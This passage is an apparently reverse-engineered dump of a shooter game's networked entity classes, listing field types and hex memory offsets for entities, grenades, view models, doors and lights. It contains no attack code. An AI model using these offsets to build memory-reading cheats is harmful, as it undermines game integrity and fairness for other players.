m_vecViewOffset.x +DT_BaseCombatCharacter!0x003c m_vecViewOffset.y +DT_BaseCombatCharacter!0x0040 m_vecViewOffset.z +DT_BaseCombatCharacter!0x019c m_cloakEndTime +DT_BaseCombatCharacter!0x01a0 m_cloakFadeInEndTime +DT_BaseCombatCharacter!0x01a4 m_cloakFadeOutStartTime +DT_BaseCombatCharacter!0x01a8 m_cloakFadeInDuration +DT_BaseCombatCharacter!0x01ac m_cloakFlickerAmount +DT_BaseCombatCharacter!0x01b0 m_cloakFlickerEndTime +DT_BaseCombatCharacter!0x03d4 m_networkedFlags +DT_BaseCombatCharacter!0x0458 m_deathVelocity +DT_BaseCombatCharacter!0x0948 m_minimapData +DT_BaseCombatCharacter!0x0998 m_nameVisibilityFlags +DT_BaseCombatCharacter!0x1984 m_lastFiredTime +DT_BaseCombatCharacter!0x1988 m_lastFiredWeapon +DT_BaseCombatCharacter!0x198c m_raiseFromMeleeEndTime +DT_BaseCombatCharacter!0x1990 m_sharedEnergyCount +DT_BaseCombatCharacter!0x1994 m_sharedEnergyTotal +DT_BaseCombatCharacter!0x1998 m_sharedEnergyLockoutThreshold +DT_BaseCombatCharacter!0x199c m_lastSharedEnergyRegenTime +DT_BaseCombatCharacter!0x19a0 m_sharedEnergyRegenRate +DT_BaseCombatCharacter!0x19a4 m_sharedEnergyRegenDelay +DT_BaseCombatCharacter!0x19a8 m_lastSharedEnergyTakeTime +DT_BaseCombatCharacter!0x1a08 m_selectedWeapons +DT_BaseCombatCharacter!0x1a0c m_latestPrimaryWeapons +DT_BaseCombatCharacter!0x1a14 m_latestPrimaryWeaponsIndexZeroOrOne +DT_BaseCombatCharacter!0x1a1c m_latestNonOffhandWeapons +DT_BaseCombatCharacter!0x1a24 m_lastCycleSlot +DT_BaseCombatCharacter!0x1a2c m_weaponPermission +DT_BaseCombatCharacter!0x1a30 m_weaponDelayEnableTime +DT_BaseCombatCharacter!0x1a34 m_weaponDisabledInScript +DT_BaseCombatCharacter!0x1a59 m_weaponDisabledFlags +DT_BaseCombatCharacter!0x1a5c m_weaponTypeDisabledFlags +DT_BaseCombatCharacter!0x1a60 m_weaponTypeDisabledRefCount +DT_BaseCombatCharacter!0x1a69 m_hudInfo_visibilityTestAlwaysPasses +DT_BaseCombatCharacter!0x1a7c m_contextAction +DT_BaseCombatCharacter!0x1aa8 m_phaseShiftTimeStart +DT_BaseCombatCharacter!0x1aac m_phaseShiftTimeEnd +DT_BaseCombatCharacter!0x1afc m_targetInfoIconName +``` +
+
+class DT_BaseEntity + +``` +{ + movetype: Int, + movecollide: Int, + predictable_id: DT_PredictableId, + HighlightSettings: DT_HighlightSettings, + moveparent: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_clrRender: Int, + m_cellZ: Int, + m_clIntensity: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_bossPlayer: Int, + m_shieldHealth: Int, + m_shieldHealthMax: Int, + m_bIsSoundCodeControllerValueSet: Int, + m_flSoundCodeControllerValue: Float, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_teamMemberIndex: Int, + m_squadID: Int, + m_grade: Int, + m_ignorePredictedTriggerFlags: Int, + m_passThroughFlags: Int, + m_passThroughThickness: Int, + m_passThroughDirection: Float, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_bRenderWithViewModels: Int, + m_nRenderFX: Int, + m_nRenderMode: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_contents: Int, + m_collideWithOwner: Int, + m_iSignifierName: String, + m_iName: String, + m_scriptNameIndex: Int, + m_instanceNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_phaseShiftFlags: Int, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_attachmentLerpStartTime: Time, + m_attachmentLerpEndTime: Time, + m_attachmentLerpStartOrigin: Vector, + m_attachmentLerpStartAngles: Vector, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_dissolveEffectEntityHandle: Int, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_spottedByTeams: DataTable, + m_firstChildEntityLink: Int, + m_firstParentEntityLink: Int, + m_realmsBitMask: BitMask, +} +``` + +### Offsets + +``` +DT_BaseEntity!0x0000 movetype +DT_BaseEntity!0x0000 movecollide +DT_BaseEntity!0x0000 predictable_id +DT_BaseEntity!0x0000 HighlightSettings +DT_BaseEntity!0x001c moveparent +DT_BaseEntity!0x0024 m_parentAttachmentIndex +DT_BaseEntity!0x0044 m_fEffects +DT_BaseEntity!0x0048 m_usableType +DT_BaseEntity!0x004c m_cellX +DT_BaseEntity!0x0050 m_cellY +DT_BaseEntity!0x0050 m_clrRender +DT_BaseEntity!0x0054 m_cellZ +DT_BaseEntity!0x0054 m_clIntensity +DT_BaseEntity!0x0058 m_localOrigin +DT_BaseEntity!0x0064 m_nModelIndex +DT_BaseEntity!0x0124 m_bossPlayer +DT_BaseEntity!0x0170 m_shieldHealth +DT_BaseEntity!0x0174 m_shieldHealthMax +DT_BaseEntity!0x03cc m_bIsSoundCodeControllerValueSet +DT_BaseEntity!0x03d0 m_flSoundCodeControllerValue +DT_BaseEntity!0x03d4 m_networkedFlags +DT_BaseEntity!0x0428 m_visibilityFlags +DT_BaseEntity!0x0430 m_iTeamNum +DT_BaseEntity!0x0438 m_teamMemberIndex +DT_BaseEntity!0x043c m_squadID +DT_BaseEntity!0x0440 m_grade +DT_BaseEntity!0x0444 m_ignorePredictedTriggerFlags +DT_BaseEntity!0x044c m_passThroughFlags +DT_BaseEntity!0x0450 m_passThroughThickness +DT_BaseEntity!0x0454 m_passThroughDirection +DT_BaseEntity!0x0470 m_localAngles +DT_BaseEntity!0x0484 m_hOwnerEntity +DT_BaseEntity!0x0488 m_bRenderWithViewModels +DT_BaseEntity!0x0489 m_nRenderFX +DT_BaseEntity!0x0499 m_nRenderMode +DT_BaseEntity!0x04a0 m_Collision +DT_BaseEntity!0x0520 m_CollisionGroup +DT_BaseEntity!0x0524 m_contents +DT_BaseEntity!0x0528 m_collideWithOwner +DT_BaseEntity!0x0560 m_iSignifierName +DT_BaseEntity!0x0569 m_iName +DT_BaseEntity!0x0670 m_scriptNameIndex +DT_BaseEntity!0x0674 m_instanceNameIndex +DT_BaseEntity!0x06f8 m_holdUsePrompt +DT_BaseEntity!0x0700 m_pressUsePrompt +DT_BaseEntity!0x0798 m_phaseShiftFlags +DT_BaseEntity!0x079c m_baseTakeDamage +DT_BaseEntity!0x07a0 m_invulnerableToDamageCount +DT_BaseEntity!0x0814 m_attachmentLerpStartTime +DT_BaseEntity!0x0818 m_attachmentLerpEndTime +DT_BaseEntity!0x081c m_attachmentLerpStartOrigin +DT_BaseEntity!0x0828 m_attachmentLerpStartAngles +DT_BaseEntity!0x0840 m_parentAttachmentModel +DT_BaseEntity!0x084c m_fadeDist +DT_BaseEntity!0x08f8 m_dissolveEffectEntityHandle +DT_BaseEntity!0x0908 m_usablePriority +DT_BaseEntity!0x090c m_usableDistanceOverride +DT_BaseEntity!0x0910 m_usableFOV +DT_BaseEntity!0x0914 m_usePromptSize +DT_BaseEntity!0x0928 m_spottedByTeams +DT_BaseEntity!0x0a20 m_firstChildEntityLink +DT_BaseEntity!0x0a24 m_firstParentEntityLink +DT_BaseEntity!0x0a28 m_realmsBitMask +``` +
+
+class DT_BaseGrenade extends DT_Projectile + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_baseTakeDamage: Int, + m_invulnerableToDamageCount: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_doesExplode: Int, + m_DmgRadius: Float, + m_grenadeStatusFlags: Int, + m_ziplineGrenadeExpectedEndPosition: Vector, +} +``` + +### Offsets + +``` +DT_BaseGrenade!0x001c moveparent +DT_BaseGrenade!0x0020 m_parentAttachmentType +DT_BaseGrenade!0x0024 m_parentAttachmentIndex +DT_BaseGrenade!0x019c m_cloakEndTime +DT_BaseGrenade!0x01a0 m_cloakFadeInEndTime +DT_BaseGrenade!0x01a4 m_cloakFadeOutStartTime +DT_BaseGrenade!0x01a8 m_cloakFadeInDuration +DT_BaseGrenade!0x01ac m_cloakFlickerAmount +DT_BaseGrenade!0x01b0 m_cloakFlickerEndTime +DT_BaseGrenade!0x079c m_baseTakeDamage +DT_BaseGrenade!0x07a0 m_invulnerableToDamageCount +DT_BaseGrenade!0x083c m_parentAttachmentHitbox +DT_BaseGrenade!0x0840 m_parentAttachmentModel +DT_BaseGrenade!0x2c81 m_doesExplode +DT_BaseGrenade!0x2c84 m_DmgRadius +DT_BaseGrenade!0x2ca8 m_grenadeStatusFlags +DT_BaseGrenade!0x2d18 m_ziplineGrenadeExpectedEndPosition +``` +
+
+class DT_BaseViewModel + +``` +{ + overlay_vars: DT_OverlayVars, + m_animStartTime: Time, + m_animOverlayIsActive: DataTable, + m_animStartCycle: Float, + m_animPlaybackRate: Float, + m_animFrozen: Int, + m_animOverlayStartTime: DataTable, + m_animModelIndex: Int, + m_animSequence: Int, + m_nNewSequenceParity: Int, + m_animOverlayStartCycle: DataTable, + m_fEffects: Int, + m_clrRender: Int, + m_animOverlayPlaybackRate: DataTable, + m_nModelIndex: Int, + m_animOverlayModelIndex: DataTable, + m_animOverlaySequence: DataTable, + m_animOverlayWeight: DataTable, + m_animOverlayOrder: DataTable, + m_animOverlayAnimTime: DataTable, + m_animOverlayFadeInDuration: DataTable, + m_animOverlayFadeOutDuration: DataTable, + m_nRenderMode: Int, + m_nBody: Int, + m_nResetEventsParity: Int, + m_bSequenceFinished: Int, + m_flModelScale: Float, + m_overlayEventParity: DataTable, + m_viewModelOwner: Int, + m_projectileIsVisible: Int, + m_bBlockEventLayer: Int, + m_isAdsTransition: Int, + m_hWeapon: Int, + m_tracerAttachments: DataTable, + m_tracerAttachmentsScoped: DataTable, +} +``` + +### Offsets + +``` +DT_BaseViewModel!0x0000 overlay_vars +DT_BaseViewModel!0x0008 m_animStartTime +DT_BaseViewModel!0x0008 m_animOverlayIsActive +DT_BaseViewModel!0x000c m_animStartCycle +DT_BaseViewModel!0x0010 m_animPlaybackRate +DT_BaseViewModel!0x0014 m_animFrozen +DT_BaseViewModel!0x0014 m_animOverlayStartTime +DT_BaseViewModel!0x0018 m_animModelIndex +DT_BaseViewModel!0x001c m_animSequence +DT_BaseViewModel!0x0020 m_nNewSequenceParity +DT_BaseViewModel!0x0038 m_animOverlayStartCycle +DT_BaseViewModel!0x0044 m_fEffects +DT_BaseViewModel!0x0050 m_clrRender +DT_BaseViewModel!0x005c m_animOverlayPlaybackRate +DT_BaseViewModel!0x0064 m_nModelIndex +DT_BaseViewModel!0x0080 m_animOverlayModelIndex +DT_BaseViewModel!0x00a4 m_animOverlaySequence +DT_BaseViewModel!0x00c8 m_animOverlayWeight +DT_BaseViewModel!0x00ec m_animOverlayOrder +DT_BaseViewModel!0x0110 m_animOverlayAnimTime +DT_BaseViewModel!0x0134 m_animOverlayFadeInDuration +DT_BaseViewModel!0x0158 m_animOverlayFadeOutDuration +DT_BaseViewModel!0x0499 m_nRenderMode +DT_BaseViewModel!0x0e90 m_nBody +DT_BaseViewModel!0x0e9c m_nResetEventsParity +DT_BaseViewModel!0x0f34 m_bSequenceFinished +DT_BaseViewModel!0x0f40 m_flModelScale +DT_BaseViewModel!0x1711 m_overlayEventParity +DT_BaseViewModel!0x19d8 m_viewModelOwner +DT_BaseViewModel!0x19dc m_projectileIsVisible +DT_BaseViewModel!0x1dc0 m_bBlockEventLayer +DT_BaseViewModel!0x1dc1 m_isAdsTransition +DT_BaseViewModel!0x1dc4 m_hWeapon +DT_BaseViewModel!0x1dc8 m_tracerAttachments +DT_BaseViewModel!0x1dd0 m_tracerAttachmentsScoped +``` +
+
+class DT_BoneFollower + +``` +{ + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_modelIndex: Int, + m_boneIndex: Int, +} +``` + +### Offsets + +``` +DT_BoneFollower!0x004c m_cellX +DT_BoneFollower!0x0050 m_cellY +DT_BoneFollower!0x0054 m_cellZ +DT_BoneFollower!0x0058 m_localOrigin +DT_BoneFollower!0x0064 m_nModelIndex +DT_BoneFollower!0x03d4 m_networkedFlags +DT_BoneFollower!0x0470 m_localAngles +DT_BoneFollower!0x0484 m_hOwnerEntity +DT_BoneFollower!0x04a0 m_Collision +DT_BoneFollower!0x0520 m_CollisionGroup +DT_BoneFollower!0x0a40 m_modelIndex +DT_BoneFollower!0x0a44 m_boneIndex +``` +
+
+class DT_BreakableSurface extends DT_BaseEntity + +``` +{ + m_nNumWide: Int, + m_nNumHigh: Int, + m_flPanelWidth: Float, + m_flPanelHeight: Float, + m_vNormal: Vector, + m_vUp: Vector, + m_vCorner: Vector, + m_bIsBroken: Int, + m_nSurfaceType: Int, + m_RawPanelBitVec: DataTable, +} +``` + +### Offsets + +``` +DT_BreakableSurface!0x0a48 m_nNumWide +DT_BreakableSurface!0x0a4c m_nNumHigh +DT_BreakableSurface!0x0a50 m_flPanelWidth +DT_BreakableSurface!0x0a54 m_flPanelHeight +DT_BreakableSurface!0x0a58 m_vNormal +DT_BreakableSurface!0x0a64 m_vUp +DT_BreakableSurface!0x0a7c m_vCorner +DT_BreakableSurface!0x0a88 m_bIsBroken +DT_BreakableSurface!0x0a8c m_nSurfaceType +DT_BreakableSurface!0x0ac8 m_RawPanelBitVec +``` +
+
+class DT_CPropDoor + +``` +{ + HighlightSettings: DT_HighlightSettings, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_localAngles: Vector, + m_nSkin: Int, + m_skinMod: Int, + m_closedAngle: Float, + m_angle: Float, + m_startAngle: Float, + m_startAngleVel: Float, + m_startMoveTime: Time, + m_isLocked: Int, + m_oppositeDoor: Int, + m_interactingPlayer: Int, + m_interactingPlayerWantsOpen: Int, +} +``` + +### Offsets + +``` +DT_CPropDoor!0x0000 HighlightSettings +DT_CPropDoor!0x0044 m_fEffects +DT_CPropDoor!0x0048 m_usableType +DT_CPropDoor!0x004c m_cellX +DT_CPropDoor!0x0050 m_cellY +DT_CPropDoor!0x0054 m_cellZ +DT_CPropDoor!0x0058 m_localOrigin +DT_CPropDoor!0x0064 m_nModelIndex +DT_CPropDoor!0x03d4 m_networkedFlags +DT_CPropDoor!0x0470 m_localAngles +DT_CPropDoor!0x0e88 m_nSkin +DT_CPropDoor!0x0e8c m_skinMod +DT_CPropDoor!0x1670 m_closedAngle +DT_CPropDoor!0x1674 m_angle +DT_CPropDoor!0x1678 m_startAngle +DT_CPropDoor!0x167c m_startAngleVel +DT_CPropDoor!0x1680 m_startMoveTime +DT_CPropDoor!0x1684 m_isLocked +DT_CPropDoor!0x1688 m_oppositeDoor +DT_CPropDoor!0x16d8 m_interactingPlayer +DT_CPropDoor!0x16dc m_interactingPlayerWantsOpen +``` +
+
+class DT_CascadeLight extends DT_BaseEntity + +``` +{ + m_shadowDirection: Vector, + m_envLightShadowDirection: Vector, + m_bEnabled: Int, + m_bEnableShadows: Int, + m_LightColor: Int, + m_cloudMaskName: String, + m_cloudOffset: Vector, + m_cloudScale: Float, +} +``` + +### Offsets + +``` +DT_CascadeLight!0x0a40 m_shadowDirection +DT_CascadeLight!0x0a58 m_envLightShadowDirection +DT_CascadeLight!0x0a6c m_bEnabled +DT_CascadeLight!0x0a6d m_bEnableShadows +DT_CascadeLight!0x0a6f m_LightColor +DT_CascadeLight!0x0a73 m_cloudMaskName +DT_CascadeLight!0x0b78 m_cloudOffset +DT_CascadeLight!0x0b84 m_cloudScale +``` +
+
+class DT_CollisionProperty + +``` +{ + m_vecMins: Vector, + m_vecMaxs: Vector, + m_usSolidFlags: Int, + m_nSolidType: Int, + m_triggerBloat: Int, + m_collisionDetailLevel: Int, + m_nSurroundType: Int, + m_vecSpecifiedSurroundingMins: Vector, + m_vecSpecifiedSurroundingMaxs: Vector, +} +``` + +### Offsets + +``` +DT_CollisionProperty!0x0010 m_vecMins +DT_CollisionProperty!0x001c m_vecMaxs +DT_CollisionProperty!0x0028 m_usSolidFlags +DT_CollisionProperty!0x002c m_nSolidType +DT_CollisionProperty!0x002d m_triggerBloat +DT_CollisionProperty!0x002e m_collisionDetailLevel +DT_CollisionProperty!0x003c m_nSurroundType +DT_CollisionProperty!0x0048 m_vecSpecifiedSurroundingMins +DT_CollisionProperty!0x0054 m_vecSpecifiedSurroundingMaxs +``` +
+
+class DT_ColorCorrection extends DT_BaseEntity + +``` +{ + m_hOwnerEntity: Int, + m_localOrigin: Vector, + m_MinFalloff: Float, + m_MaxFalloff: Float, + m_flFadeInDuration: Float, + m_flFadeOutDuration: Float, + m_flMaxWeight: Float, + m_flCurWeight: Float, + m_netLookupFilename: String, + m_bEnabled: Int, + m_bMaster: Int, + m_bClientSide: Int, + m_bExclusive: Int, +} +``` + +### Offsets + +``` +DT_ColorCorrection!0x0484 m_hOwnerEntity +DT_ColorCorrection!0x0a40 m_localOrigin +DT_ColorCorrection!0x0a4c m_MinFalloff +DT_ColorCorrection!0x0a50 m_MaxFalloff +DT_ColorCorrection!0x0a54 m_flFadeInDuration +DT_ColorCorrection!0x0a58 m_flFadeOutDuration +DT_ColorCorrection!0x0a5c m_flMaxWeight +DT_ColorCorrection!0x0a60 m_flCurWeight +DT_ColorCorrection!0x0a64 m_netLookupFilename +DT_ColorCorrection!0x0b68 m_bEnabled +DT_ColorCorrection!0x0b69 m_bMaster +DT_ColorCorrection!0x0b6a m_bClientSide +DT_ColorCorrection!0x0b6b m_bExclusive +``` +
+
+class DT_CurrentData_LocalPlayer + +``` +{ + m_viewConeAngleMin: Vector, + m_viewConeAngleMax: Vector, + m_stepSmoothingOffset: Vector, + m_duckTransitionRemainderMsec: Int, + m_vecPunchBase_Angle: Vector, + m_vecPunchBase_AngleVel: Vector, + m_vecPunchWeapon_Angle: Vector, + m_vecPunchWeapon_AngleVel: Vector, + m_pushedFixedPointOffset: DataTable, + m_pushedFixedPointOffsetReplayCompensated: DataTable, + m_localGravityRotation: Rotation, +} +``` + +### Offsets + +``` +DT_CurrentData_LocalPlayer!0x0000 m_viewConeAngleMin +DT_CurrentData_LocalPlayer!0x000c m_viewConeAngleMax +DT_CurrentData_LocalPlayer!0x0018 m_stepSmoothingOffset +DT_CurrentData_LocalPlayer!0x0024 m_duckTransitionRemainderMsec +DT_CurrentData_LocalPlayer!0x0028 m_vecPunchBase_Angle +DT_CurrentData_LocalPlayer!0x0034 m_vecPunchBase_AngleVel +DT_CurrentData_LocalPlayer!0x0040 m_vecPunchWeapon_Angle +DT_CurrentData_LocalPlayer!0x004c m_vecPunchWeapon_AngleVel +DT_CurrentData_LocalPlayer!0x0058 m_pushedFixedPointOffset +DT_CurrentData_LocalPlayer!0x0064 m_pushedFixedPointOffsetReplayCompensated +DT_CurrentData_LocalPlayer!0x007c m_localGravityRotation +``` +
+
+class DT_CurrentData_Player + +``` +{ + m_flHullHeight: Float, + m_angEyeAngles.x: Float, + m_angEyeAngles.y: Float, + m_traversalAnimProgress: Float, + m_sprintTiltFrac: Float, + m_ammoPoolCount: DataTable, +} +``` + +### Offsets + +``` +DT_CurrentData_Player!0x0014 m_flHullHeight +DT_CurrentData_Player!0x0018 m_angEyeAngles.x +DT_CurrentData_Player!0x001c m_angEyeAngles.y +DT_CurrentData_Player!0x0024 m_traversalAnimProgress +DT_CurrentData_Player!0x0028 m_sprintTiltFrac +DT_CurrentData_Player!0x002c m_ammoPoolCount +``` +
+
+class DT_DoorMover + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_usableType: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_vecAngVelocity: Vector, + m_networkedFlags: Int, + m_vecVelocity: Vector, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_iSignifierName: String, + m_scriptNameIndex: Int, + m_holdUsePrompt: String, + m_pressUsePrompt: String, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_usablePriority: Int, + m_usableDistanceOverride: Float, + m_usableFOV: Float, + m_usePromptSize: Float, + m_doorFlags: Int, +} +``` + +### Offsets + +``` +DT_DoorMover!0x001c moveparent +DT_DoorMover!0x0020 m_parentAttachmentType +DT_DoorMover!0x0024 m_parentAttachmentIndex +DT_DoorMover!0x0044 m_fEffects +DT_DoorMover!0x0048 m_usableType +DT_DoorMover!0x004c m_cellX +DT_DoorMover!0x0050 m_cellY +DT_DoorMover!0x0054 m_cellZ +DT_DoorMover!0x0058 m_localOrigin +DT_DoorMover!0x0064 m_nModelIndex +DT_DoorMover!0x0128 m_vecAngVelocity +DT_DoorMover!0x03d4 m_networkedFlags +DT_DoorMover!0x0464 m_vecVelocity +DT_DoorMover!0x0470 m_localAngles +DT_DoorMover!0x04a0 m_Collision +DT_DoorMover!0x0520 m_CollisionGroup +DT_DoorMover!0x0560 m_iSignifierName +DT_DoorMover!0x0670 m_scriptNameIndex +DT_DoorMover!0x06f8 m_holdUsePrompt +DT_DoorMover!0x0700 m_pressUsePrompt +DT_DoorMover!0x083c m_parentAttachmentHitbox +DT_DoorMover!0x0840 m_parentAttachmentModel +DT_DoorMover!0x084c m_fadeDist +DT_DoorMover!0x0908 m_usablePriority +DT_DoorMover!0x090c m_usableDistanceOverride +DT_DoorMover!0x0910 m_usableFOV +DT_DoorMover!0x0914 m_usePromptSize +DT_DoorMover!0x1880 m_doorFlags +``` +
+
+class DT_DynamicLight extends DT_BaseEntity + +``` +{ + m_Flags: Int, + m_LightStyle: Int, + m_Radius: Float, + m_Exponent: Int, + m_InnerAngle: Float, + m_OuterAngle: Float, + m_SpotRadius: Float, +} +``` + +### Offsets + +``` +DT_DynamicLight!0x0a40 m_Flags +DT_DynamicLight!0x0a41 m_LightStyle +DT_DynamicLight!0x0a44 m_Radius +DT_DynamicLight!0x0a48 m_Exponent +DT_DynamicLight!0x0a4c m_InnerAngle +DT_DynamicLight!0x0a50 m_OuterAngle +DT_DynamicLight!0x0a54 m_SpotRadius +``` +
+
+class DT_DynamicProp extends DT_BreakableProp + +``` +{ + m_iTeamNum: Int, + m_lifeState: Int, + m_bUseHitboxesForRenderBox: Int, + m_bAnimateInStaticShadow: Int, + m_wantsScopeHighlight: Int, +} +``` + +### Offsets + +``` +DT_DynamicProp!0x0430 m_iTeamNum +DT_DynamicProp!0x0778 m_lifeState +DT_DynamicProp!0x1601 m_bUseHitboxesForRenderBox +DT_DynamicProp!0x1602 m_bAnimateInStaticShadow +DT_DynamicProp!0x1603 m_wantsScopeHighlight +``` +
+
+class DT_DynamicPropLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentModel: Int, + m_fadeDist: Float, + m_nSkin: Int, + m_skinMod: Int, +} +``` + +### Offsets + +``` +DT_DynamicPropLightweight!0x001c moveparent +DT_DynamicPropLightweight!0x0020 m_parentAttachmentType +DT_DynamicPropLightweight!0x0024 m_parentAttachmentIndex +DT_DynamicPropLightweight!0x0044 m_fEffects +DT_DynamicPropLightweight!0x004c m_cellX +DT_DynamicPropLightweight!0x0050 m_cellY +DT_DynamicPropLightweight!0x0054 m_cellZ +DT_DynamicPropLightweight!0x0058 m_localOrigin +DT_DynamicPropLightweight!0x0064 m_nModelIndex +DT_DynamicPropLightweight!0x03d4 m_networkedFlags +DT_DynamicPropLightweight!0x0428 m_visibilityFlags +DT_DynamicPropLightweight!0x0470 m_localAngles +DT_DynamicPropLightweight!0x04a0 m_Collision +DT_DynamicPropLightweight!0x0520 m_CollisionGroup +DT_DynamicPropLightweight!0x0840 m_parentAttachmentModel +DT_DynamicPropLightweight!0x084c m_fadeDist +DT_DynamicPropLightweight!0x0e88 m_nSkin +DT_DynamicPropLightweight!0x0e8c m_skinMod +``` +
+
+class DT_EffectData + +``` +{ + m_vOrigin.x: Float, + m_vOrigin.y: Float, + m_vOrigin.z: Float, + m_vStart.x: Float, + m_vStart.y: Float, + m_vStart.z: Float, + m_vNormal: Vector, + m_vAngles: Vector, + m_effectFlags: Int, + m_effectEntHandle: Int, + m_otherEntHandle: Int, + m_flScale: Float, + m_flMagnitude: Float, + m_flRadius: Float, + m_nAttachmentIndex: Int, + m_attachmentIndexForViewmodel: Int, + m_nSurfaceProp: Int, + m_nDamageType: Int, + m_nOtherEntIndex: Int, + m_sharedInt32_A: Int, + m_sharedInt32_B: Int, + m_iImpactEffectTableIndex: Int, + m_nColor: Int, + m_persistentWeaponEffect: Int, + m_iEffectName: Int, +} +``` + +### Offsets + +``` +DT_EffectData!0x0000 m_vOrigin.x +DT_EffectData!0x0004 m_vOrigin.y +DT_EffectData!0x0008 m_vOrigin.z +DT_EffectData!0x000c m_vStart.x +DT_EffectData!0x0010 m_vStart.y +DT_EffectData!0x0014 m_vStart.z +DT_EffectData!0x0018 m_vNormal +DT_EffectData!0x0024 m_vAngles +DT_EffectData!0x0030 m_effectFlags +DT_EffectData!0x0050 m_effectEntHandle +DT_EffectData!0x0054 m_otherEntHandle +DT_EffectData!0x0058 m_flScale +DT_EffectData!0x005c m_flMagnitude +DT_EffectData!0x0060 m_flRadius +DT_EffectData!0x0064 m_nAttachmentIndex +DT_EffectData!0x0068 m_attachmentIndexForViewmodel +DT_EffectData!0x006c m_nSurfaceProp +DT_EffectData!0x0070 m_nDamageType +DT_EffectData!0x0074 m_nOtherEntIndex +DT_EffectData!0x007c m_sharedInt32_A +DT_EffectData!0x0080 m_sharedInt32_B +DT_EffectData!0x0084 m_iImpactEffectTableIndex +DT_EffectData!0x0088 m_nColor +DT_EffectData!0x009c m_persistentWeaponEffect +DT_EffectData!0x00a0 m_iEffectName +``` +
+
+class DT_EntityDissolve extends DT_BaseEntity + +``` +{ + m_flStartTime: Time, + m_flFadeStart: Float, + m_flFadeLength: Float, + m_nDissolveType: Int, + m_isLethal: Int, +} +``` + +### Offsets + +``` +DT_EntityDissolve!0x0a48 m_flStartTime +DT_EntityDissolve!0x0a4c m_flFadeStart +DT_EntityDissolve!0x0a50 m_flFadeLength +DT_EntityDissolve!0x0a54 m_nDissolveType +DT_EntityDissolve!0x0a58 m_isLethal +``` +
+
+class DT_EntityLinkPage + +``` +{ + pageIndex: Int, + next: DataTable, + entity: DataTable, +} +``` + +### Offsets + +``` +DT_EntityLinkPage!0x0a40 pageIndex +DT_EntityLinkPage!0x0a44 next +DT_EntityLinkPage!0x0e44 entity +``` +
+
+class DT_EnvWindShared + +``` +{ + m_flStartTime: Time, + m_iWindSeed: Int, + m_iMinWind: Int, + m_iMaxWind: Int, + m_iMinGust: Int, + m_iMaxGust: Int, + m_flMinGustDelay: Float, + m_flMaxGustDelay: Float, + m_flGustDuration: Float, + m_iGustDirChange: Int, + m_iInitialWindDir: Int, + m_flInitialWindSpeed: Float, +} +``` + +### Offsets + +``` +DT_EnvWindShared!0x0008 m_flStartTime +DT_EnvWindShared!0x000c m_iWindSeed +DT_EnvWindShared!0x0010 m_iMinWind +DT_EnvWindShared!0x0014 m_iMaxWind +DT_EnvWindShared!0x001c m_iMinGust +DT_EnvWindShared!0x0020 m_iMaxGust +DT_EnvWindShared!0x0024 m_flMinGustDelay +DT_EnvWindShared!0x0028 m_flMaxGustDelay +DT_EnvWindShared!0x002c m_flGustDuration +DT_EnvWindShared!0x0030 m_iGustDirChange +DT_EnvWindShared!0x0070 m_iInitialWindDir +DT_EnvWindShared!0x0074 m_flInitialWindSpeed +``` +
+
+class DT_FuncBrushLightweight + +``` +{ + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_cellX: Int, + m_cellY: Int, + m_cellZ: Int, + m_localOrigin: Vector, + m_nModelIndex: Int, + m_networkedFlags: Int, + m_visibilityFlags: Int, + m_localAngles: Vector, + m_Collision: DT_CollisionProperty, + m_CollisionGroup: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, +} +``` + +### Offsets + +``` +DT_FuncBrushLightweight!0x001c moveparent +DT_FuncBrushLightweight!0x0020 m_parentAttachmentType +DT_FuncBrushLightweight!0x0024 m_parentAttachmentIndex +DT_FuncBrushLightweight!0x004c m_cellX +DT_FuncBrushLightweight!0x0050 m_cellY +DT_FuncBrushLightweight!0x0054 m_cellZ +DT_FuncBrushLightweight!0x0058 m_localOrigin +DT_FuncBrushLightweight!0x0064 m_nModelIndex +DT_FuncBrushLightweight!0x03d4 m_networkedFlags +DT_FuncBrushLightweight!0x0428 m_visibilityFlags +DT_FuncBrushLightweight!0x0470 m_localAngles +DT_FuncBrushLightweight!0x04a0 m_Collision +DT_FuncBrushLightweight!0x0520 m_CollisionGroup +DT_FuncBrushLightweight!0x083c m_parentAttachmentHitbox 